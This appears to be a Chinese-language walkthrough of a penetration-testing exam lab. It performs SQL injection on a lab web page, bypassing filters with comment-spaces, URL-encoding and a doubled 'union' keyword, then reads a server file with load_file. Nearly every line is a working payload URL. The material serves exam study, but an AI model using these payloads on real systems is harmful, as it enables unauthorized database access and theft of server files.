PTE考试解析

Pte 考试题目

1. 注入漏洞

空格被过滤

用/**/代替空格，发现#被过滤

对＃进行url编码为%23

输入构造好的payload

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1%23

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2%23

输入order by 1  显示正常

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/1%23

输入order by 2  显示正常

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/2%23

输入order by 3  显示正常

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/3%23

输入order by 4  显示正常

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/4%23

输入order by 5  出现错误，说明字段只存在4

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/5%23

输入union select 1,2,3,4  union被过滤采用双写绕过

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/union/**/select/**/1,2,3,4%23

union被过滤采用双写绕过  没有显示出来字段号

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/ununionion/**/select/**/1,2,3,4%23

采用and 和 or 测试

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,4%23

2.3.4有显示

 

读文件使用load_file根据提示读取这个文件load_file(%27/tmp/360/key%27)，进行尝试

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,load_file(%27/tmp/360/key%27),3,4%23

​http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23

​

http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23